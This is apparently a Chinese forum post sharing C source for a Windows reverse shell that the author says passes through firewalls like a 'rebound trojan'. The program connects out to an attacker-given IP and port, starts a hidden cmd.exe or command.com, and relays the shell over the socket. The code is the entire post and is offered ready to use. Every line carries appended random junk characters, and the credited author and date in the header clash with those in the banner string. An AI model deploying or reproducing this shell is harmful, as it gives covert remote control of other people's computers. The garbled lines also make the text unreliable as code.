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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o:5mgf7  
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/* ============================== kAUL7_>6X  
Rebound port in Windows NT JB5%\   
By wind,2006/7 Ssir?ZUm   
===============================*/ peS4<MqWu  
#include T$FKn  
#include Ai 8+U)  
_a$5"  
#pragma comment(lib,"wsock32.lib") pox;NdX7  
Wo9=cYC)  
void OutputShell(); ia.+<, $`S  
SOCKET sClient; YGyw^$.w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -`spu)  
fK(:vwh  
void main(int argc,char **argv) j)Q}5M  
{ * >NML]#0  
WSADATA stWsaData; {=!BzNMj  
int nRet; ^^uY)AL  
SOCKADDR_IN stSaiClient,stSaiServer; 6 P(jc  
) .V,zmI  
if(argc != 3) X?r$o>db  
{ 3S>rc0]6  
printf("Useage:\n\rRebound DestIP DestPort\n"); KF#qz2S  
return; MdkL_YP}.  
} \q!TI x  
06pY10<>X  
WSAStartup(MAKEWORD(2,2),&stWsaData); nC$ c.K'  
=(c.8d  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -~~R?,H'Z_  
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stSaiClient.sin_family = AF_INET; `5x0p a  
stSaiClient.sin_port = htons(0); Xk/:a}-l  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +-V4:@  
mMu+MXTk<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IK4(r /  
{ F2n4#b  
printf("Bind Socket Failed!\n"); t > 64^nS  
return; .[:WMCc\  
} 97>|eDc Y  
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stSaiServer.sin_family = AF_INET; >)>~S_u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,&O&h2=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 51AA,"2[_  
KeyHxU=?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) La7}zXx  
{ BT -Y9j  
printf("Connect Error!"); t B}W )Eb  
return; Ms%C:KG  
} %f&Bt,xEo  
OutputShell(); t08[3Q&  
} aiw4J  
@@!]Raj=  
void OutputShell() {pRa%DF  
{ c~\^C_  
char szBuff[1024]; [>Zg6q|  
SECURITY_ATTRIBUTES stSecurityAttributes; $['`H)z  
OSVERSIONINFO stOsversionInfo; QS,_=< (  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ady SwB  
STARTUPINFO stStartupInfo; &MrG ,/  
char *szShell; PUd/|Rc/}  
PROCESS_INFORMATION stProcessInformation; u VUrg;>  
unsigned long lBytesRead; 5!6iAS+I  
_|{pO7x]oG  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !D 'A  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sv\=/F@n  
stSecurityAttributes.lpSecurityDescriptor = 0; ,>pv>)u{  
stSecurityAttributes.bInheritHandle = TRUE; ypA 9WF  
WUx2CK2N  
jfa<32`0E  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _Mh..#)`[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =k!F`H`/%'  
2:[G4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sc]h^B^7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Js@\)P79  
stStartupInfo.wShowWindow = SW_HIDE; S.C7%XU  
stStartupInfo.hStdInput = hReadPipe;  )Z:maz  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OtT*)8*c  
aMgg[g9>t  
GetVersionEx(&stOsversionInfo); 4J[csU  
Pn}oSCo  
switch(stOsversionInfo.dwPlatformId) Qeq=4Nq  
{ RHt~:D3*  
case 1: BJZGQrsz  
szShell = "command.com"; eTtiAF=bW  
break; # o\&G@e}  
default: bU4\Yu   
szShell = "cmd.exe"; 1eS@ihkP  
break; Ei@al>.\  
} E3_ 5~>  
~~,#<g[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g3(?!f  
ugW.nf*O  
send(sClient,szMsg,77,0); <ou=f'  
while(1) j6rwlwN  
{ {\k:?w4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BQ!_i*14+  
if(lBytesRead) A6Wtzt2i  
{ OZl0I#@A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !8J%%Ux&M  
send(sClient,szBuff,lBytesRead,0); yMb.~A^$J  
}  8U-<Q>  
else 8{Wh4~|+  
{ niCq`!  
lBytesRead=recv(sClient,szBuff,1024,0); sQ82(N7l  
if(lBytesRead<=0) break; {1vlz>82  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q0_Pl*  
} wH qbTA  
} SYv5{bff =  
tlmfDQD  
return; `?(9Bl  
}
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